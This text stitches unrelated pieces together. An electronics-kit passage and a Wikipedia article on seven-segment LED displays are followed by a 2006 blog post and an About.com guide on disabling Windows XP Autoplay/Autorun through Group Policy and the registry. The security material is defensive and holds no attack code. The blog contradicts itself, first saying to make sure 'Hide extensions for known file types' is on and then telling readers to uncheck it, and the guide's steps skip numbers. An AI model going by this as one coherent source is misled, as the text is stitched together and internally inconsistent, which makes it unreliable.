You should also have found that it's not hard to form all ten digits using the 7-segment display. Digit 2, for example, requires segments a, b, d, e, and g. Digit 3 removes segment e from that list, and adds segment c. The two digits 6 and 9 have two possibilities each. Digit 6 can be made with or without segment a, and digit 9 can be made with or without segment d. You can choose either method, but for consistency you should treat both digits the same way. Except for that possible variation, your ten digits should have looked like this:

When you have completed this experiment, make sure power to your experimental circuit is turned off. Remove all of the orange jumpers from your breadboard socket and put them aside for later use. Leave the 7-segment LED display and its black jumper in place for the next experiment.

Seven-segment display

From Wikipedia, the free encyclopedia

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A typical 7-segment LED display component, with decimal point.

A seven-segment display (abbreviation: "7-seg(ment) display"), less commonly known as a seven-segment indicator, is a form of electronic display device for displaying decimal numerals that is an alternative to the more complex dot-matrix displays. Seven-segment displays are widely used in digital clocks, electronic meters, and other electronic devices for displaying numerical information.

Contents

[hide]

• 1 Concept and visual structure
• 2 Implementations
• 3 Alphabetic display
• 4 References
• 5 External links
• 6 See also

[edit] Concept and visual structure

The individual segments of a seven-segment display.

A seven segment display, as its name indicates, is composed of seven elements. Individually on or off, they can be combined to produce simplified representations of the Hindu-Arabic numerals. Often the seven segments are arranged in an oblique, or italic, arrangement, which aids readability.

Each of the numbers 0, 6, 7 and 9 may be represented by two or more different glyphs on seven-segment displays.

LED-based 7-segment display showing the 16 hex digits.

The seven segments are arranged as a rectangle of two vertical segments on each side with one horizontal segment on the top and bottom. Additionally, the seventh segment bisects the rectangle horizontally. There are also fourteen-segment displays and sixteen-segment displays (for full alphanumerics); however, these have mostly been replaced by dot-matrix displays.

The segments of a 7-segment display are referred to by the letters A to G, as shown to the right, where the optional DP decimal point (an "eighth segment") is used for the display of non-integer numbers.

The animation to the left cycles through the common glyphs of the ten decimal numerals and the six hexadecimal "letter digits" (A–F). It is an image sequence of a "LED" display, which is described technology-wise in the following section. Notice the variation between uppercase and lowercase letters for A–F; this is done to obtain a unique, unambiguous shape for each letter.

[edit] Implementations

An incandescent light type early seven-segment displays.

A mechanical seven-segment display for displaying automotive fuel prices.

Seven-segment displays may use liquid crystal display (LCD), arrays of light-emitting diodes (LEDs), and other light-generating or controlling techniques such as such as cold cathode gas discharge, vacuum fluorescent, incandescent filaments, and others. For gasoline price totems and other large signs, electromagnetically flipped light-reflecting segments (sometimes called "vanes") are still commonly used. An alternative to the 7-segment display in the 1950s through the 1970s was the cold-cathode, neon-lamp-like nixie tube. Starting in 1970, RCA sold a display device known as the Numitron that used incandescent filaments arranged into a seven-segment display. ^[1]

In a simple LED package, each LED is typically connected with one terminal to its own pin on the outside of the package and the other LED terminal connected in common with all other LEDs in the device and brought out to a shared pin. This shared pin will then make up all of the cathodes (negative terminals) OR all of the anodes (positive terminals) of the LEDs in the device; and so will be either a "Common Cathode" or "Common Anode" device depending how it is constructed. Hence a 7 segment plus DP package will only require nine pins to be present and connected.

Integrated displays also exist, with single or multiple digits. Some of these integrated displays incorporate their own internal decoder, though most do not – each individual LED is brought out to a connecting pin as described. Multiple-digit LED displays as used in pocket calculators and similar devices used multiplexed displays to reduce the number of IC pins required to control the display. For example, all the anodes of the A segments of each digit position would be connected together and to a driver pin, while the cathodes of all segments for each digit would be connected. To operate any particular segment of any digit, the controlling integrated circuit would turn on the cathode driver for the selected digit, and the anode drivers for the desired segments; then after a short blanking interval the next digit would be selected and new segments lit, in a sequential fashion. In this manner an eight digit display with seven segments and a decimal point would require only 8 cathode drivers and 8 anode drivers, instead of sixty-four drivers and IC pins. Often in pocket calculators the digit drive lines would be used to scan the keyboard as well, providing further savings; however, pressing multiple keys at once would produce odd results on the multiplexed display.

Seven segment displays can be found in patents as early as 1908 (in U.S. Patent 974,943 , F W Wood invented an 8-segment display, which displayed the number 4 using a diagonal bar), but did not achieve widespread use until the advent of LEDs in the 1970s. They are sometimes even used in unsophisticated displays like cardboard "For sale" signs, where the user either applies color to pre-printed segments, or (spray)paints color through a seven-segment digit template, to compose figures such as product prices or telephone numbers.

For many applications, dot-matrix LCDs have largely superseded LED displays, though even in LCDs 7-segment displays are very common. Unlike LEDs, the shapes of elements in an LCD panel are arbitrary since they are formed on the display by a kind of printing process. In contrast, the shapes of LED segments tend to be simple rectangles, reflecting the fact that they have to be physically moulded to shape, which makes it difficult to form more complex shapes than the segments of 7-segment displays. However, the high common recognition factor of 7-segment displays, and the comparatively high visual contrast obtained by such displays relative to dot-matrix digits, makes seven-segment multiple-digit LCD screens very common on basic calculators.

[edit] Alphabetic display

Main article: Seven-segment display character representations

In addition to the ten numerals, seven segment displays can be used to show letters of the latin, cyrillic and greek alphabets including punctuation, but only few representations are unambiguous and intuitive at the same time: uppercase A, B, C, E, F, G, H, I, J, L, N, O, P, S, U, Y, Z, and lowercase a, b, c, d, e, g, h, i, n, ñ, o, q, r, t, u. Thus, ad hoc and corporate solutions dominate the field of alphabetics on seven-segment displays, which is usually not considered essential and only used for basic notifications, such as internal test messages on equipment under development.

Using a restricted range of letters that look like (upside-down) digits, seven-segment displays are commonly used by school children to form words and phrases using a technique known as "calculator spelling".

[edit] References

1. ^ Numitron Readout

[edit] External links

• Seven Segment Interfacing To Microcontroller.
• BCD to Seven Segment Display Decoder Logic Diagram (0-F).

[edit] See also

Wikimedia Commons has media related to:

Seven segment display

• Fourteen-segment display
• Sixteen-segment display
• Dot matrix display
• Vane display

Retrieved from "http://en.wikipedia.org/wiki/Seven-segment_display"

Categories: Display technology

How to disable Autoplay

How to disable Autoplay

13 Jun, 2006  News

Autoplay is also known as Autorun which should already be disabled for your cd-rom drives because of companies like Sony who like to install DRM on your computer without even asking you. There is a good article from Engadget on how to disable Autorun using a .reg file. This only works for CD-ROM drives and does not disable Autorun for USB drives.

There has been recent news of people gaining access to machines on an internal network using social engineering and USB drives. This guide will show you how to make sure that Autoplay/Autorun is disabled for all devices on your computer. It is highly recommended that you make sure Autorun is disabled for any computers you have access to at work that are running Windows XP. Disabling just the CDROM for your home computers is probably good enough since physical access to those computers is more restricted.

1. Click Start > Run

2. Type “gpedit.msc”

3. Computer Configuration > Click “Administrative Templates” > Click “System” > Double-Click “Turn off Autoplay”

4. Setting tab > Check “Enabled” > Select “All drives” from the drop down menu > Apply > Ok

There 4 easy steps to making sure that Autoplay (Autorun) is disabled on all your drives including the USB. That would remove the ability of people to insert a USB drive and automatically run a .exe on your computer by using a *.inf file.

The last thing that you can do to protect yourself is to make sure that you have “Hide extensions for known file types”. This will help you from accidentally clicking on a file that is on a USB drive that looks like it is safe to look at, but is not really. This is one aspect of social engineering that is dependent on the user to make the right decision.

Many criminals will try to mask the presence of a malicious file by adding on .exe to the end of a common file type. For instance .doc.exe or .xls.exe or .jpg.exe would be some examples. The file that you click on is not what you expect it to be rather a virus or a program used to compromise your system. Most anti-virus programs will catch this file after you execute it, but to be on the safe side it is best not to click on it in the first place.

- Open a local folder in Windows Explorer (not IE) like My Documents > Click Tools > Click Folder Options > Click “View” Tab > Uncheck “Hide extensions for known file types”

Update
I updated some of the links that didn’t work, like the link to the news article about the Sony DRM and the old .reg file. I found a copy of the reg file somewhere else on the internet and rehosted it here so it doesn’t disappear again.

http://antivirus.about.com/od/securitytips/ht/autorun.htm

How To Disable Autorun

From Mary Landesman,
Your Guide to Antivirus Software.
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The autorun feature enables CDs to play automatically when inserted in the drive. This is the same feature that enabled the now infamous Sony rootkit to install. Removable and thumb drives use the same autorun feature to load files when the drives are plugged into the USB port. Malware relies on this autorun feature to spread from thumb drive to PC. Disable the autorun feature to prevent malware from spreading. And who knows, it may just stop the next rootkit-enabled CD.

Difficulty: Easy

Time Required: 2 minutes

Here's How:

1. If you use XP Pro, follow steps 1 through 8 only. XP Home users begin at step 9.
2. Click Start and then click Run
3. Type gpedit.msc and click OK
4. The Group Policy window will open. In the left pane, double-click Administrative Templates
5. In the right pane, double-click System
6. Scroll down the list and double-click Turn Off Autoplay
7. In the Turn Off Autoplay Properties window, select Enabled. From the dropdown next to Turn Off Autoplay on, select All drives and then click OK
8. Exit Group Policy by selecting File, then choosing Exit from the menu.
9. XP Home users will need to make the changes by editing the registry directly. To begin, click Start and then click Run
10. Type regedit and click OK. The Registry Editor window will open.
11. In the left pane, navigate to:
    HKEY_CURRENT_USER
    Software
    Microsoft
    Windows
    CurrentVersion
    Policies
    Explorer.
    (Note: For help navigating the registry, see the Windows Basics System Registry tutorial).
12. With Explorer highlighted, in the right-pane right click the value NoDriveTypeAutoRun and select Modify from the drop down menu. The base value will be set to Hexadecimal. If not, select Hexadecimal.
13. Type 95 and click OK.
    Note that this will stop Autorun on removable/USB drives, but still allow it on CD ROM drives. If you want to disable autorun on both, substitute b5 for the 95. (Thanks to Ian L. of Manitoba for the tip).
14. Exit Registry Editor by selecting File, then choosing Exit from the menu.
16. You will now need to reboot your computer for the changes to take effect.
18. http://antivirus.about.com/od/securitytips/ht/autorun.htm

More How To's from your Guide To Antivirus Software

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